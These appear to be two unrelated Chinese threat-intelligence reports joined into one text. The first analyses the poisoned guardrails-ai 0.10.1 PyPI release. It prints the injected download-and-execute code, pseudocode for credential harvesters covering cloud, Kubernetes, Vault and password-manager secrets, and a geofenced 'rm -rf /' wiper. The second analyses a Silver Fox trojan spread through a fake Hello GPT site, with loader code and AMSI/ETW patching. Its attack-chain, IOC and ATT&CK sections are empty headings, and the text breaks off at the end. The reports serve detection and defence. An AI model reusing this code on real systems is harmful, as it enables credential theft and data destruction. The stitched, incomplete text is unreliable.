2026 年 5 月 12 日凌晨，腾讯安全威胁情报中心捕获到知名 LLM 防护框架 guardrails-ai 的一个异常版本更新。经深度分析，确认为活跃供应链攻击组织 TeamPCP 发起的最新一轮投毒行动。攻击者在合法包入口文件末尾追加 14 行代码，静默下载并执行一枚 23KB 的 Python zipapp 载荷。载荷内含 7 个并发凭据收割模块，覆盖 AWS / Azure / GCP / Kubernetes / HashiCorp Vault / 密码管理器及 90 个敏感文件路径，同时具备条件性系统擦除与 systemd 持久化能力。本文沿攻击链逐层剖析其技术细节。

一、概述

guardrails-ai 是一个拥有 6.8k GitHub Stars、600+ Forks 的知名开源项目（Apache-2.0），月 PyPI 下载量约 25 万次，日均下载约 1.2 万次（pypistats.org 数据）。该库为 LLM 应用提供输入/输出验证框架，能够检测幻觉、策略违规和数据泄漏，是当前 AI 应用生产部署中最常用的防护组件之一。官方安装指令为 pip install guardrails-ai。

使用范围，guardrails-ai 广泛应用于企业级 LLM 应用的生产环境，典型场景包括：

• LLM 输入/输出结构化验证（结合 Pydantic schema）

• AI Agent 的安全策略执行（毒性检测、竞品信息过滤、PII 脱敏等）

• LLM 网关层防护（通过 Guardrails Server 部署为独立服务）

• 多模型统一接口（兼容 OpenAI、Anthropic 及开源模型）

用户群体涵盖 AI 应用开发者、MLOps 工程师、LLM 平台运维团队，部署环境多为 Linux 服务器、Kubernetes 集群和 CI/CD 流水线——恰好是本次恶意载荷的重点攻击目标。

影响范围，2026-05-12 00:47 UTC，攻击者向 PyPI 发布版本 0.10.1——紧随正式 release v0.10.0（2026-04-03）之后的递增版本号。包内 178 个 .py 文件中，仅 __init__.py 末尾被追加了 14 行恶意代码，其余 177 个文件均为原始合法代码。以下场景可能受影响：

• 使用 pip install --upgrade guardrails-ai 或不锁版本号的 CI/CD pipeline，可能静默拉取到恶意版本

• 恶意版本上传（00:47 UTC）至 PyPI 下架之间的窗口期内，所有新安装或升级操作均存在风险

• 依赖 guardrails-ai 的下游包和内部项目可能通过依赖传递被间接影响

• 恶意载荷仅在 Linux 平台触发，Windows/macOS 用户不受影响

PyPI 在数小时内下架了该包全部版本。我们通过 CDN 预取机制成功找回样本。

载荷署名 ASCII art 为 TeamPCP，C2 IP 与已知 TeamPCP 基础设施同网段，多项 TTP 高度吻合——这是该组织继 Trivy、KICS、LiteLLM、Telnyx、Xinference、TanStack 之后的又一次高价值目标供应链投毒。

二、初始入口：14 行的入口劫持

注入位置，guardrails/__init__.py，第 35-48 行。

原文件第 1-33 行为标准的模块导出代码（from guardrails.guard import Guard 等），攻击者在其后追加：

if sys.platform.startswith("linux"):
    URL = "hxxps[:]//git-tanstack[.]com/transformers.pyz"
    PATH = "/tmp/transformers.pyz"
    req = urllib.request.Request(URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req) as response, open(PATH, 'wb') as out_file:
        out_file.write(response.read())
    subprocess.run(["python3", PATH])

行为极为直白，无混淆：

import guardrails（任何方式）
↓
检查 sys.platform =="linux"
↓
从 git-tanstack[.]com 下载 transformers.pyz →/tmp/
↓ (User-Agent 伪造为 Mozilla/5.0)
subprocess.run(["python3", "/tmp/transformers.pyz"])

C2 域名 git-tanstack[.]com 仿冒了 TanStack 开源项目——就在前一天（2026-05-11），TeamPCP 刚刚对 TanStack 的 42 个 npm 包发动了大规模供应链攻击（CVE-2026-45321）。文件名 transformers.pyz 则仿冒 HuggingFace 的 Transformers 库。

对包内全部 178 个 .py 文件排查确认，恶意注入点唯一。

三、反沙箱三重门：.pyz 入口逻辑

第二阶段载荷 transformers.pyz 是一枚 23KB 的 Python zipapp 归档（SHA256: 0f35abda...），解压后含 18 个文件、16 个 Python 模块。

__main__.py 实现了三重环境检查，逐层过滤非目标环境：

关卡	代码	意图
① 平台检查	if sys.platform not in ('linux'): sys.exit(1)	仅攻击 Linux
② 语言豁免	if lang.lower().startswith('ru'): sys.exit(1)	跳过俄语系统
③ 沙箱规避	if os.cpu_count() <= 4: sys.exit(1)	排除低配分析沙箱

通过检查后，静默安装 cryptography 库（pip install cryptography --break-system-packages），然后将 stdout/stderr 重定向到 /dev/null，运行主控模块 entrypoint。

四、主控中枢：三重冗余回传 + RSA 信封加密

entrypoint.py 是整个载荷的指挥中心（161 行），硬编码了 C2 地址和 RSA-4096 公钥。

4.1 C2 通信：伪装 ML 模型服务

_EARLY_QUARANTINE_URL = "hxxps[:]//83[.]142.209.194/v1/modelsx"
_TARGET_URL = "hxxps[:]//83[.]142.209.194/v1/weights"

C2 端点刻意伪装为机器学习模型服务 API 路径（/v1/models、/v1/weights），IP 83[.]142.209.194 位于乌克兰基辅（Ghosty Networks LLC, AS205759）——与 Unit 42 已确认的 TeamPCP IoC 83[.]142.209.203位于同一 /24 网段。

4.2 数据加密：RSA + AES 信封封装

窃取数据先经 gzip 压缩，再用随机 AES-256-GCM 密钥加密，AES 密钥本身用硬编码的 RSA-4096 公钥进行 OAEP-SHA256 封装。只有持有对应私钥的攻击者才能解密，即使截获流量也无法还原内容。

collect_all() → JSON → gzip → AES-256-GCM(随机密钥) → 密文
                                    ↓
                        RSA-OAEP-SHA256(公钥) → 加密的AES密钥
                                    ↓
                POST → {"envelope": base64(iv+密文+tag), "key": base64(加密密钥)}

4.3 三重冗余回传机制

① 首选: POST → hxxps[:]//83[.]142.209.194/v1/weights
         ↓ 失败
② Dead Drop: GitHub Commit Search "FIRESCALE"
             → RSA 签名验证 → 解析备用 C2 URL
         ↓ 失败
③ 终极: 从窃取数据中提取 GitHub Token
        → 用受害者的 token 创建公开仓库
        → 仓库名: {斯拉夫民间传说词}-{词}-{数字}
        → 上传 results.json（全部窃取数据）

第三重回传尤为巧妙：利用受害者自己的 GitHub PAT 在其账户下创建公开仓库存放赃物。仓库名从 30 个斯拉夫民间传说词汇中随机组合（BABA-YAGA、KOSCHEI、FIREBIRD、RUSALKA 等），仓库描述固定为 "PUSH UR T3MPRR"。

五、七模块并发收割：从云密钥到密码管理器

aggregate.py 使用 ThreadPoolExecutor 并发调度 collectors/ 下的全部 7 个收割模块，最大化窃取效率。

5.1 AWS：19 区域 × 15 线程全量扫描

collectors/aws.py（165 行）实现了完整的 AWS 凭据窃取链：

凭据获取（三路径）:
├─环境变量:AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY
├─EC2 IMDS v2:169[.]254.169.254元数据服务
└─~/.aws/credentials全profile遍历
窃取内容:
├─Secrets Manager:ListSecrets→GetSecretValue（明文）
└─SSM Parameter Store:DescribeParameters→GetParameter(WithDecryption=True)

覆盖 us-east-1/2、us-west-1/2、eu-west-1/2/3 等 19 个区域，以 15 线程并发扫描。认证使用自实现的 AWS SigV4 签名算法。

5.2 Azure：全订阅 Key Vault 遍历

collectors/azure.py（231 行）支持四种凭据获取路径——环境变量 Client Credentials、Client Certificate（自签 JWT）、Azure CLI 缓存（~/.azure/accessTokens.json）、Azure IMDS。获取 ARM + Vault 双 token 后，遍历所有 Subscription → 所有 Key Vault → 所有 Secret 的明文值。

# 伪代码 — azure.py 核心逻辑
resolve_tokens()  # 4种路径获取 arm_token + vault_token
for sub_id in list_subscriptions(arm_token):
for vault in list_vaults(arm_token, sub_id):
for secret_name in list_secret_names(vault_url, vault_token):
            steal(get_secret_value(vault_url, secret_name, vault_token))

5.3 GCP：JWT 签名认证 + Secret Manager

collectors/gcp.py（186 行）对 Service Account 实现了完整的 JWT-RS256 签名认证（自行构造 JWT 并用 SA 私钥签名），支持 ADC 文件和 GCE IMDS。遍历项目内所有 Secret 的 latest 版本明文。

# 伪代码 — gcp.py 核心逻辑
defget_token(sa_json):
    jwt = sign_rs256(header={"alg":"RS256"}, payload={
"iss": sa["client_email"],
"scope": "https://www.googleapis.com/auth/cloud-platform"
    }, key=sa["private_key"])
return POST("https://oauth2.googleapis.com/token", assertion=jwt)
token = resolve_credentials()  # 3种路径: env SA文件 / ADC / GCE IMDS
for secret in list_secrets(token, project_id):
    steal(get_secret_value(token, secret, version="latest"))

5.4 Kubernetes：自动下载 kubectl + 全集群 Secrets

collectors/kubernetes.py 是最大的模块（364 行），有一个值得关注的特性——若目标机器无 kubectl，会自动从 dl.k8s.io 下载到 /tmp/kubectl。随后遍历所有 context × 所有 namespace × 所有 Secrets，自动 base64 解码 Secret data。同时实现了纯 Python 的 K8s API 调用路径（使用 os.memfd_create 处理客户端证书认证）作为 fallback。

# 伪代码 — kubernetes.py 核心逻辑
ifnot which("kubectl"):
    curl("https://dl.k8s.io/release/v1.28.0/bin/linux/{arch}/kubectl", "/tmp/kubectl")
    chmod("/tmp/kubectl", 755)
for context in all_kubeconfig_contexts():
for namespace in list_namespaces(context):
for secret in list_secrets(namespace):
            steal(base64_decode(secret.data))

5.5 文件系统：90 个敏感路径 + 全量环境变量

collectors/filesystem.py（373 行）硬编码了 90 个敏感文件路径，涵盖：

类别	典型路径
云凭据	~/.aws/credentials , ~/.azure/accessTokens.json, ~/.config/gcloud/application_default_credentials.json
SSH/GPG	~/.ssh/* （遍历全目录）, ~/.gnupg/
包管理器	~/.npmrc , ~/.pypirc, ~/.cargo/credentials
IaC	~/.terraform.d/credentials.tfrc.json , *.tfstate（递归搜索）
VPN	Tailscale state, WireGuard conf, wg showconf all
Docker	~/.docker/config.json  + 所有容器环境变量（通过 Docker socket 或 CLI）
AI 工具  ★	~/.config/claude/claude_desktop_config.json , ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, ~/.continue/config.json, ~/.zed/settings.json
Shell 历史	~/.bash_history , ~/.zsh_history

此外还递归搜索 HOME 下的所有 .env / .env.* 文件、所有 *.tfstate 文件，dump 完整的 os.environ，以及通过 gh auth token 和 gh auth status --show-token 主动获取 GitHub CLI 的认证令牌。

# 伪代码 — filesystem.py 核心逻辑
steal(read_all(90个硬编码敏感路径))
steal(list_and_read("~/.ssh/*"))
steal(os.environ)                                    # 全量环境变量
steal(recursive_find("~", ".env*"))                  # 递归搜索 .env 文件
steal(recursive_find("~", "*.tfstate"))              # Terraform 状态文件
steal(subprocess("gh auth token"))                   # GitHub CLI token
steal(docker_socket("/containers/json") → inspect每个容器环境变量)
steal(subprocess("tailscale status --json"))         # VPN 配置
steal(subprocess("wg showconf all"))                 # WireGuard 配置

该载荷专门针对 AI 开发工具（Claude Desktop、Cursor、VSCode、Codeium、Continue、Zed、OpenCode）的 MCP 配置文件，与 TeamPCP 一贯瞄准 AI/ML 基础设施的策略一致。

5.6 密码管理器：四大管理器联合收割

collectors/passwords.py（150 行）调用四个密码管理器的 CLI 工具：

管理器	手段
1Password  (op)	遍历全部账户 → 全部 Vault → 全部 Item 明文
Bitwarden  (bw)	检查解锁状态 → list items 全量导出
pass	ls  → show 遍历所有条目
gopass	list --flat  → show --password 全量导出

# 伪代码 — passwords.py 核心逻辑（以 1Password 为例）
for account in op("account list"):
for vault in op("vault list", account):
for item in op("item list", vault):
            steal(op("item get", item, "--format=json"))  # 明文导出每个凭据

5.7 HashiCorp Vault：全 KV 引擎递归遍历

collectors/vault.py（154 行）支持四种 Token 获取方式（环境变量、~/.vault-token、AppRole 登录、vault print token CLI），然后通过 GET /v1/sys/mounts 枚举所有挂载点，对 type=kv/generic 的引擎递归遍历全部密钥路径，读取明文值。

# 伪代码 — vault.py 核心逻辑
token = resolve_token()  # 4种路径: env / ~/.vault-token / AppRole / CLI
addr = os.environ.get("VAULT_ADDR") or"http://127.0.0.1:8200"
for mount in GET(f"{addr}/v1/sys/mounts"):
if mount.typein ("kv", "generic"):
        recursive_walk(mount):  # 递归遍历全部 KV 路径
            steal(read_secret(path))  # 读取每个密钥的明文值

六、条件性擦除：俄罗斯轮盘与地缘针对

roulette.py 是整个载荷中最具地缘色彩的模块。

6.1 地理围栏检测

函数 _is_israeli_system()（代码作者原始命名）通过五种手段检测目标系统的地理位置：

TZ 环境变量  ──┐
/etc/timezone ─┤── 匹配 "Jerusalem" / "Tel_Aviv" / "Tehran"
/etc/localtime ┘
LANG/LC_ALL  ──┬── 匹配 "he_IL"(希伯来语) / "fa_IR"(波斯语)
locale()     ──┘

6.2 1/6 概率全盘擦除

roll = random.randint(1, 6)
if _is_israeli_system() and roll == 2:
    play_at_full_volume("hxxps[:]//83[.]142.209.194/audio.mp3", "RunForCover.mp3")
    subprocess.run(["rm", "-rf", "/"])
return

若检测到目标系统位于以色列/伊朗，以 1/6 概率触发：先通过 pactl 设置系统音量至 100% 并播放 C2 上的音频文件 RunForCover.mp3，随后执行 rm -rf /。

6.3 持久化后门：伪装 PostgreSQL 监控

其余情况下，调用 deploy_local() 植入 systemd 持久化后门：

root    →/usr/bin/pgmonitor.py + /etc/systemd/system/pgsql-monitor.service
非 root →~/.local/bin/pgmonitor.py +~/.config/systemd/user/pgsql-monitor.service

服务描述伪装为 "PostgreSQL Monitor"，设置 Restart=always。文件名 pgmonitor.py 与 TeamPCP 此前使用的 CanisterWorm 蠕虫中 pgmon 伪装名如出一辙。

七、完整攻击链全景

八、威胁组织画像：TeamPCP

8.1 组织概况

TeamPCP（别名 PCPcat、ShellForce、DeadCatx3）是一个自 2025 年 9 月起活跃的供应链攻击组织，被 Palo Alto Unit 42、Wiz、JFrog、Datadog 等多家安全厂商持续追踪。据 Unit 42 引述，该组织已入侵超 50 万台机器，窃取超 300GB 凭据数据。

8.2 历史攻击事件

时间	目标	生态
2025-12	云原生主机（React2Shell）	漏洞利用
2026-03-19	Aqua Trivy（76/77 个 tag）	GitHub Actions
2026-03-21	Checkmarx KICS（35 个 tag）	GitHub Actions
2026-03-23	LiteLLM 1.82.7/1.82.8（9500 万月下载）	PyPI
2026-03-27	Telnyx 4.87.1/4.87.2	PyPI
2026-04-22	Xinference 2.6.x	PyPI
2026-05-11	TanStack 42 个包/84 个版本	npm
2026-05-12	guardrails-ai 0.10.1	PyPI

8.3 归因关联

本次事件与 TeamPCP 存在 12 个独立关联点，其中 10 个直接匹配：

• 署名，LICENSE 中 ASCII art 为 TeamPCP

• C2 IP，83[.]142.209.194 与已知 IoC 83[.]142.209.203 同一 /24 网段

• 域名仿冒，git-tanstack[.]com — TanStack npm 攻击（05-11）仅早一天

• 持久化伪装，pgmonitor.py — 与 CanisterWorm 的 pgmon 一致

• systemd 路径，~/.config/systemd/user/ — 与 LiteLLM Stage 3 的 sysmon.py 同一路径模式

• 俄语豁免 / 条件性 wiper / GitHub Dead Drop / GitHub 外泄 等均与已知 TTP 吻合

九、IOC

类别	类型	值
网络	Domain	git-tanstack[.]com
网络	IP	83.142.209[.]194 （Ukraine, Kyiv, AS205759）
网络	URL	hxxps://git-tanstack[.]com/transformers.pyz
网络	URL	hxxps://83.142.209[.]194/v1/models
网络	URL	hxxps://83.142.209[.]194/v1/weights
网络	URL	hxxps://83.142.209[.]194/audio.mp3
网络	GitHub	Commit search keyword: FIRESCALE
文件	SHA256	b76c800a685c0376a668170b000ba1e5a5ac7daeb714a6af97eac2d31d9a8dbc （guardrails_ai-0.10.1-py3-none-any.whl）
文件	SHA256	8491b17dc16f31c27f290b3b1e0f2e8866cc775828590e90376ecfb0cc1f8d9c （guardrails_ai-0.10.1.tar.gz）
文件	SHA256	0f35abda19fb69430c32228465396094b866d887427bf551e353ab31256a9dd6 （transformers.pyz）
文件	SHA256	93f0791d596816985832f32ea8690bd3dceba95cf851a46fe5e644e50651ed7b （guardrails/init.py 恶意版）
主机	文件	/tmp/transformers.pyz
主机	文件	/tmp/kubectl （自动下载）
主机	文件	/usr/bin/pgmonitor.py  或 ~/.local/bin/pgmonitor.py
主机	服务	pgsql-monitor.service
主机	文件	RunForCover.mp3

十、ATT&CK 技术映射

阶段	技术	说明
初始访问	T1195.002 供应链投毒	劫持合法 PyPI 包发布恶意版本
执行	T1059.006 Python	__init__.py  import-time 执行 + subprocess
持久化	T1543.002 Systemd Service	pgsql-monitor.service ，Restart=always
防御规避	T1036.005 伪装合法服务	伪装为 PostgreSQL Monitor
防御规避	T1497.001 沙箱检测	CPU 核数检查、平台检查、语言检查
凭据访问	T1552.001 文件中的凭据	90 个敏感文件路径 + SSH + .env
凭据访问	T1552.005 云实例元数据	AWS/Azure/GCP IMDS
凭据访问	T1555 密码管理器	1Password / Bitwarden / pass / gopass
发现	T1613 容器发现	Docker socket 枚举 + K8s API
数据外传	T1567.001 外传至代码仓库	用窃取的 GitHub Token 创建公开仓库
数据外传	T1573.002 非对称加密	RSA-4096 + AES-256-GCM 信封加密
影响	T1485 数据销毁	条件性 rm -rf /

十一、防御建议

对开发者和 DevOps 团队

• 立即检查，pip show guardrails-ai | grep Version，若为 0.10.1 立即卸载并轮换所有凭据

• 锁定依赖版本，使用 pip install --require-hashes 或 lockfile 机制，避免自动拉取新版本

• 检查持久化痕迹，排查 /usr/bin/pgmonitor.py、~/.local/bin/pgmonitor.py、pgsql-monitor.service 是否存在

• 排查 GitHub 仓库，搜索账户下是否存在包含 BABA-YAGA、KOSCHEI 等斯拉夫词汇的异常公开仓库

对企业安全团队

• 网络层阻断，封禁 git-tanstack[.]com 和 83.142.209.194

• CI/CD 审计，检查 2026-05-12 00:47 UTC 之后的所有构建日志，排查是否拉取了 guardrails-ai

• 凭据轮换，若确认中招，应按全量泄露处置——AWS/Azure/GCP 密钥、K8s Secrets、SSH 密钥对、GitHub PAT、Docker credentials、Vault token、密码管理器主密码均需轮换

• GitHub Dead Drop 监控，监控 GitHub Commit Search 中 FIRESCALE 关键字的活动

• 供应链安全加固，部署包完整性校验（如 Sigstore/in-toto）、SBOM 可见性，监控关键依赖的异常版本发布

一、概述

近期捕获到一起借 Hello GPT 翻译器名义投递的钓鱼样本。攻击者仿造官网 cn-hellogpt.com，向用户分发伪装成 AI 翻译工具的安装包。用户完成看似正常的安装流程后，恶意模块转入后台，在 %APPDATA%\Roaming 目录下释放两组随机命名的恶意文件，并通过计划任务完成持久化。

这批样本和传统的“白 + 黑 DLL”白利用不太一样。以往攻击者常把恶意逻辑放在外置黑 DLL 中，DLL 本身特征明显，容易被静态扫描或行为检测命中。本次样本把执行入口改进到合法签名程序内部，再把核心代码拆到多组非 PE 自定义文件中，形成一套更隐蔽的 “近白利用 + 非 PE 载荷藏匿” 链路：

• 对 杭州顺网科技、万能输入法 的合法签名程序做二进制 PATCH，把恶意 ShellCode 缝入内部执行路径；

• 将后续核心恶意代码藏在非 PE 格式的自定义文件（.oi / .vc / .ti / .er / .ce / .ou / .pt）中；

• 用虚假控制流、流程平坦化、花指令和字符串运行时解密增加静态分析成本；

• 执行 AMSI 扫描绕过 + ETW 遥测致盲 + 国内主流安全软件关停 的安全规避链；

• 注入 sihost.exe / UserAccountBroker.exe / EDPNotify.exe 等微软原生签名进程，维持 C2 长期驻留。

综合投递方式、载荷组织和对抗手法判断，该样本属于银狐木马分支变种。相比此前常见样本，这次的变化集中在两个点：合法签名程序被改造成 Loader，核心恶意代码转入非 PE 自定义载荷。

二、初始入口：伪装 Hello GPT 的钓鱼网站

攻击者注册仿冒域名 cn-hellogpt[.]com、hallogpt[.]com，克隆真实 AI 翻译工具的界面风格，并在站内批量生成“使用教程”“实战指南”等 SEO 软文，提高站点在搜索引擎中的可信度和权重。行业人员通过搜索引擎检索相关工具关键词时，可能直接进入攻击者设计好的下载链路。下图为攻击者仿造的 Hello GPT 翻译器首页。页面顶部设置“首页、新手教程、软件功能、下载中心、最新资讯”等栏目，主视觉使用“最新最智能的 Hello GPT 翻译器”作为 Slogan，右侧展示多平台聊天软件集成界面，并放置醒目的“下载软件”按钮诱导用户下载恶意安装包。站内“新手教程”栏目配套了批量生成的文章，标题覆盖“终极实战、自定义词库使用指南、进阶运营实战、高阶玩法、双向翻译功能完整指南、WhatsApp 群发实操教程”等主题。攻击者用这些长尾关键词软文撑起内容纵深，为后续诱导下载铺垫可信度。

用户被引导下载的安装包，在外观上完整还原了一款普通翻译软件的 NSIS 安装向导。用户一路点击“下一步”完成安装时，后门植入流程同步执行：

三、样本执行流程：延迟释放与伪装持久化

安装包运行后不会立即释放恶意载荷，而是等待用户按流程完整点完安装向导，借真实用户交互规避沙箱环境。随后，样本在 %APPDATA%\Roaming 目录下创建两个以 comain_ 为前缀的子目录，分别释放两组恶意文件。

持久化阶段，样本将两个主 EXE 模块注册为伪装的系统计划任务。任务被挂靠到 \Microsoft\Windows\Application Experience\ 路径下，命名为 Diagnostics 与 Diagnostics2，并照搬微软原生任务的官方描述（“允许用户在 AD RMS 权限策略模板……”）。从任务计划程序中看，这两个任务很容易被误认为系统组件。

第一组：comain_ev2c34 套件

第二组：comain_ev2f79 套件

下图左侧 ev2c34.exe 保留“深圳市世强电脑科技有限公司”签名，右侧 ev2f79.exe 保留 “Hangzhou Shunwang Technology Co., Ltd” 签名。两个 EXE 宿主都带有原始知名厂商数字签名，这也是近白利用最核心的伪装点：静态层面看起来接近合法程序，运行后却进入恶意执行链。

四、近白利用：MFC 消息回调劫持 + XOR 0x36 自解密

4.1 劫持切入点：CWnd::ReflectChildNotify

以 ev2f79.exe（篡改自顺网的恶意主程序）为例。攻击者没有选择替换 EntryPoint 或 TLS 回调这类更显眼的劫持位置，而是把 MFC 框架中用于处理子窗口通知的反射函数 CWnd::ReflectChildNotify 改写为 Loader 入口。

应用进入消息循环后，WM_VSCROLL、WM_HSCROLL、WM_CTLCOLOR*、WM_DRAWITEM（528）等常规 UI 消息都会触发该函数。也就是说，程序只要正常跑起来，就会自动拉起恶意代码。

int __thiscall CWnd::ReflectChildNotify(...){
if (a2 > 0x111) {
if (a2 < 0x114 || a2 > 0x115 && a2 != 528)
returnloader_read_xor36_and_exec_file();
    }
if (a2 != 273) {
if (a2 > 0x2F && a2 != 57) {
            ...
            result = loader_read_xor36_and_exec_file();
if (!*a5) return0;
return result;
        }
returnloader_read_xor36_and_exec_file();
    }
    ...
}

4.2 Loader 逻辑：文件名解密 + XOR 0x36 自解密执行

loader_read_xor36_and_exec_file 承担完整装载动作：先解密同目录下的恶意文件名 otrm.oi，再以 XOR 0x36 对整个文件逐字节解密，最后直接跳转执行。原始 EXE 相对官方版本只改动了少量函数，整体特征高度贴近合法程序，静态识别难度明显提高：

int __cdecl loader_read_xor36_and_exec_file(){
// --- 运行时解密恶意文件名 ---
    encNameDwords[0] = 0x44393B46;  // 解密后得到 "otrm.oi"
    encNameDwords[1] = 0x27404605;
    ...
for (i = 61240; ; v1 = i) {
        *((_BYTE *)encNameDwords + v0) = v1 ^ (*((_BYTE *)encNameDwords + v0) - v2);
if (++v0 >= nameLen) break;
        v2 = BYTE1(i);
    }
pGetModuleFileNameA(0, pathBuf, 260u);
pCreateFileA(pathBuf, 0x80000000, 1u, 0, 3u, 128u, 0);
    fileSize = pGetFileSize(hFile, 0);
if (fileSize) {
        payloadEntry = pVirtualAlloc(0, fileSize, 0x3000, PAGE_EXECUTE_READWRITE);
pReadFile(hFile, payloadEntry, fileSize, &bytesRead, 0);
// --- XOR 0x36 解密 payload ---
for (j = 0; j < bytesRead; ++j)
            *((_BYTE *)payloadEntry + j) ^= 0x36u;
returnpayloadEntry();       // 直接跳转执行
    }
}

五、非 PE 载荷的对抗护甲

被解密并装入内存的非 PE 模块（.oi / .vc / .ti / .er）使用了同一套反分析护甲。反编译视角下可以看到大量异或表达式与花指令，整体呈现典型的 OLLVM 风格保护。

otrm.oi 被装载后会继续调用 SetIoC 导出函数。该函数先申请 SeDebugPrivilege 提权，随后拉起系统 VSSVC（卷影副本）服务，再通过线程池注入将 yinma.vc 与 dxyvnb.ti 两个载荷写入 VSSVC.exe。

六、注入 VSSVC 后的三重对抗

6.1 AMSI 双函数 Patch

dxyvnb.ti 负责 AMSI 扫描绕过。样本通过 12 字节 PATCH，将 amsi.dll 中的 AmsiScanBuffer 与 AmsiScanString 首部改写为返回安全结果（S_OK + AMSI_RESULT_CLEAN）的短桩代码。后续扫描请求在交给杀软 Provider 前就被截断。

6.2 ETW 单字节致盲

针对微软 ETW 遥测框架，样本只改写 ntdll!EtwEventWrite 入口的第一个字节为 0xC3（ret）。这一字节 PATCH 会让进程内所有 ETW 事件，包括 Defender 的 AMSI 子通道、PowerShell ScriptBlock 日志、.NET CLR 运行时遥测等，在离开进程前被静默丢弃。下游依赖 ETW Consumer 的 EDR 分析链路也会随之失效。

6.3 注入 svchost 并围剿国内安全软件

yinma.vc 解密展开为标准 PE 后，会读取外部 ntrin.er 恶意载荷，再次通过线程池注入将其写入系统中 PID 最小的 svchost.exe 进程。

这个目标选择并不随机。PID 最小的 svchost.exe 通常对应 -k DcomLaunch 或 -k RPCSS，权限为 SYSTEM，并运行在敏感服务组内。攻击者借它作为执行进程，在应用层结束国内安全软件时成功率更高。

被注入的 svchost.exe 会启动监控线程，按照运行时解密出的硬编码字符串表循环探测，并主动结束对应安全软件进程：

七、fhkan 模块：三件套注入 + Mutex 门控

ev2c34.exe（篡改自万能输入法）运行后，先解密装载 fhkan.oi，再调用其中的 AndStop 函数。该函数承担本轮攻击的主业务调度职责，核心逻辑包括：

7.1 Mutex 单实例守卫 + C2 上线标记

fhkan 使用两个 Base64 编码的 Mutex 作为状态位，分别表示“已上线”和“本地守卫正在运行”。下图是 UserAccountBroker.exe 与 edpnotify.exe 持有的 Mutex：

当 fhkan 启动时会首先检查这两个 Mutex：

• 都不存在 → 进入主分支，执行跨进程注入；

• 已存在 → 说明木马已经在运行，当前实例直接退出，避免重复感染。

7.2 注入“微软签名 Shell 三件套”

fhkan 完成自解密后，会注入三个微软原生签名的用户态 Shell 进程，构建冗余且隐蔽的 C2 宿主：

这三个进程都有适合驻留的特征：

• 三者均为微软签名，更容易被 EDR 或杀软默认放行出站连接；

• 三者均为系统功能模块，分别承担 Shell 基础设施（sihost）、用户账户代理（UserAccountBroker）、企业数据保护通知（EDPNotify） 三类系统职责，隐蔽性更高；

• 三者同时感染，用户手动 kill 其中一个，其余两个仍可能维持 C2 活性，具备明显的冗余备份特征。

7.3 注入手法：ThreadPool IO 触发

fhkan 使用线程池 IO 完成回调触发远程载荷，而不是传统的 CreateRemoteThread / QueueUserAPC。这种方式避开了 CreateRemoteThread、NtCreateThreadEx、SetThreadContext 等经典进程注入监控点。从 EDR 视角看，它更像一次普通的线程池 IO 调度，调用栈也更干净：

OpenProcess(target_pid, 0x448)                     // VM_OPERATION|DUP_HANDLE|QUERY_LIMITED
     ↓
NtCreateSection(0xf001f)                           // SECTION_ALL_ACCESS
     ↓
NtMapViewOfSection(section, self)                  // 本地映射，写入 payload
     ↓
NtMapViewOfSection(section, remote_target)  ★核心   // 跨进程映射 → payload 已在目标地址空间
     ↓
NtUnmapViewOfSection(self)                         // 释放本地映射（保留远程）
     ↓
CreateFileW(uk_tmp.txt)                            // 创建触发信号文件
     ↓
TpAllocIoCompletion + CreateThreadpoolIo(cb=远程地址)

八、C2 配置与解密算法

核心配置保存在本地 ap.asin 文件中，大小仅 260 字节。该文件在运行时被加载到内存，并通过线性同余 XOR 算法解密。下图为动态调试时在内存中捕获到的 ap.asin 解密结构：

还原后的解密算法如下：

defdecrypt(data: bytes, A: int = 0x27, B: int = 0x5A) -> bytes:
    result = bytearray(len(data))
for i inrange(len(data)):
        result[i] = data[i] ^ ((A * i + B) & 0xFF)
returnbytes(result)

解密完成后可以看到，该后门配置了双 C2 通道，分别为 143.92.56.242 与 43.129.232.247。

C2 地址	角色
143[.]92[.]56[.]242	主 C2
43[.]129[.]232[.]247	备用 C2

当被注入的 UserAccountBroker.exe 不存在或意外退出时，注入 EDPNotify.exe 的守卫模块会自动检测，并重新拉起 C2 通信模块与配置，形成双重守护链。链路建立后，被控主机可能继续遭受信息窃取、凭据盗取、账号劫持以及针对性电信诈骗等后续攻击：

   sihost.exe ──► 注入 ──► UserAccountBroker.exe  (C2 通信)
                                ▲
                                │ 心跳探测 / 拉起
                                │
   sihost.exe ──► 注入 ──► EDPNotify.exe          (守卫)

九、完整攻击链全景

十、IOC

十一、ATT&CK 技术映射

十二、攻击者画像与防御建议

攻击者特征归纳

• 工具链高度工程化，多个载荷采用统一的 .oi.ext.dll 命名规则，并复用 Obfuscator 与 ThreadPool IO 注入模板，具备明显的团伙化开发痕迹；

• 偏好近白利用，攻击者放弃传统 DLL 劫持，转向对合法签名程序做二进制 PATCH + 消息回调劫持，静态层面更隐蔽；

• 非 PE 载荷成为核心组织方式，核心业务代码被放入自定义扩展名的非 PE 文件中，规避大量基于 PE 结构的静态检测；

• 对国内终端生态有明确针对性，样本硬编码 360、腾讯电脑管家、Defender 等安全产品进程名，并选用用户态微软签名进程驻留；

• 防御绕过链完整，AMSI 双函数 PATCH、ETW 单字节致盲、关停安全软件三层配合，降低终端侧可见性。

对普通用户

• 不要点击来源不明的 AI 工具下载链接，尤其是各种“翻译器、破解版、免费版”Hello GPT / ChatGPT 客户端；

• 正规 AI 产品很少通过“百度竞价 / SEO 软文”引流下载；

• 定期排查 %APPDATA%\Roaming\ 目录下是否存在上表中列出的可疑 comain_* 子目录与非标扩展名文件。

对企业安全团队

• 内核 ETW-Ti（Threat Intelligence）补位，用户态 ETW 已经可以被样本直接 PATCH，应启用内核态 ETW-Ti 或 EDR 自研内核回调作为采集底线；

• AMSI Provider 完整性监控，定期从磁盘重读 amsi.dll 并与内存 .text 段比对，对 12 字节首部 PATCH 保持告警；

• ThreadPool IO 异常检测，关注 CreateThreadpoolIo 的 callback 是否指向非合法模块的地址区间，尤其是 0xXX0000 这类对齐地址，这是本家族的重要特征；

• 敏感进程注入感知，针对 sihost.exe / UserAccountBroker.exe / EDPNotify.exe 等用户态 Shell 进程建立基线，监控异常模块加载与远程 Section 映射；

• 计划任务审计，将指向 %APPDATA%\Roaming\ 下 EXE 的计划任务纳入告警清单。

事件背景

